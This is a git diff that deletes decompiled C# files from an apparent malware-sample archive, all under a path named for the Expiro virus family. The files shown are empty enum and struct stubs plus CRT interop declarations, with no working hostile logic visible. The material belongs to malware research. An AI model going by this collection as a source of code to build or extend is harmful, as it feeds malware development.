[MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException( - [In] Exception obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer( - [In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain( - [In] __FnPtr obj0, - [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _cexit(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int __FrameUnwindFilter([In] _EXCEPTION_POINTERS* obj0); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACCESS_MODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACCESS_MODE.cs deleted file mode 100644 index 6696b054..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACCESS_MODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACCESS_MODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ACCESS_MODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL.cs deleted file mode 100644 index 5344bbd3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ACL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL_INFORMATION_CLASS.cs deleted file mode 100644 index 972c0346..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _ACL_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACTIVATION_CONTEXT_INFO_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACTIVATION_CONTEXT_INFO_CLASS.cs deleted file mode 100644 index 0241032b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACTIVATION_CONTEXT_INFO_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACTIVATION_CONTEXT_INFO_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ACTIVATION_CONTEXT_INFO_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_APTTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_APTTYPE.cs deleted file mode 100644 index b4b6b409..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_APTTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _APTTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _APTTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index cf2feed0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_BIN_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_BIN_TYPES.cs deleted file mode 100644 index 316634e7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_BIN_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _BIN_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _BIN_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CERT_CHAIN_CONTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CERT_CHAIN_CONTEXT.cs deleted file mode 100644 index 983a004a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CERT_CHAIN_CONTEXT.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CERT_CHAIN_CONTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[UnsafeValueType] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _CERT_CHAIN_CONTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CHANGER_DEVICE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CHANGER_DEVICE_PROBLEM_TYPE.cs deleted file mode 100644 index 5614e671..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CHANGER_DEVICE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CHANGER_DEVICE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CHANGER_DEVICE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_ERROR_CONTROL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_ERROR_CONTROL_TYPE.cs deleted file mode 100644 index ece954fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_ERROR_CONTROL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_ERROR_CONTROL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_ERROR_CONTROL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_LOAD_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_LOAD_TYPE.cs deleted file mode 100644 index 5cf708b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_LOAD_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_LOAD_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _CM_SERVICE_LOAD_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_NODE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_NODE_TYPE.cs deleted file mode 100644 index dbd546bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_NODE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CM_SERVICE_NODE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _CM_SERVICE_NODE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_COMPUTER_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_COMPUTER_NAME_FORMAT.cs deleted file mode 100644 index 41e493a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_COMPUTER_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _COMPUTER_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _COMPUTER_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CRYPT_OID_INFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CRYPT_OID_INFO.cs deleted file mode 100644 index 7718e905..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CRYPT_OID_INFO.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _CRYPT_OID_INFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct _CRYPT_OID_INFO -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024139\u0024 - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DETECTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DETECTION_TYPE.cs deleted file mode 100644 index 33cfd985..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DETECTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DETECTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DETECTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DEVICE_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DEVICE_POWER_STATE.cs deleted file mode 100644 index 803346fb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DEVICE_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DEVICE_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DEVICE_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DISK_WRITE_CACHE_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DISK_WRITE_CACHE_STATE.cs deleted file mode 100644 index 971bde13..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DISK_WRITE_CACHE_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DISK_WRITE_CACHE_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _DISK_WRITE_CACHE_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_CHARSET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_CHARSET.cs deleted file mode 100644 index 8f90be5d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_CHARSET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_CHARSET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _DNS_CHARSET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_NAME_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_NAME_FORMAT.cs deleted file mode 100644 index a594ec5d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_NAME_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DNS_NAME_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _DNS_NAME_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_Direction.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_Direction.cs deleted file mode 100644 index c5bdb2c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_Direction.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _Direction -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _Direction -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DnsSection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DnsSection.cs deleted file mode 100644 index 53d1d65a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DnsSection.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _DnsSection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _DnsSection -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ELEMENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ELEMENT_TYPE.cs deleted file mode 100644 index 284d01e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ELEMENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ELEMENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ELEMENT_TYPE -{ -} diff --git 